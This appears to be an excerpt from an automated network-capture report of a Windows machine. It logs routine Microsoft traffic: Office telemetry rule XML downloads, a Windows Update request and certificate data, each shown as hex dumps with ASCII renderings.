2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-26 07:55:03 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49761	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pUKlWy8r8hOh1dd&MD=SCW4XbB1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 07:55:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 11c1a3ac-2594-41c3-95fd-5e04b5a927c9 MS-RequestId: f09a50e1-4740-452e-8e9f-ae02faeecb1f MS-CV: SaDkdy1VA0maITul.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 07:55:02 GMT Connection: close Content-Length: 30005
2024-11-26 07:55:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-26 07:55:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:05 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:05 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075505Z-174f7845968vqt9xhC1EWRgten0000000v5g00000000733q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:06 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:05 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:06 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075506Z-174f78459688l8rvhC1EWRtzr000000007tg000000002mka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:06 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:05 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:06 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075506Z-174f7845968j6t2phC1EWRcfe80000000v6g00000000an41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:06 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:05 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:06 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075506Z-174f7845968pf68xhC1EWRr4h80000000vb0000000007kp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:06 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:05 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:06 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075506Z-174f7845968px8v7hC1EWR08ng0000000vb000000000858p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:06 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49771	13.107.246.63	443

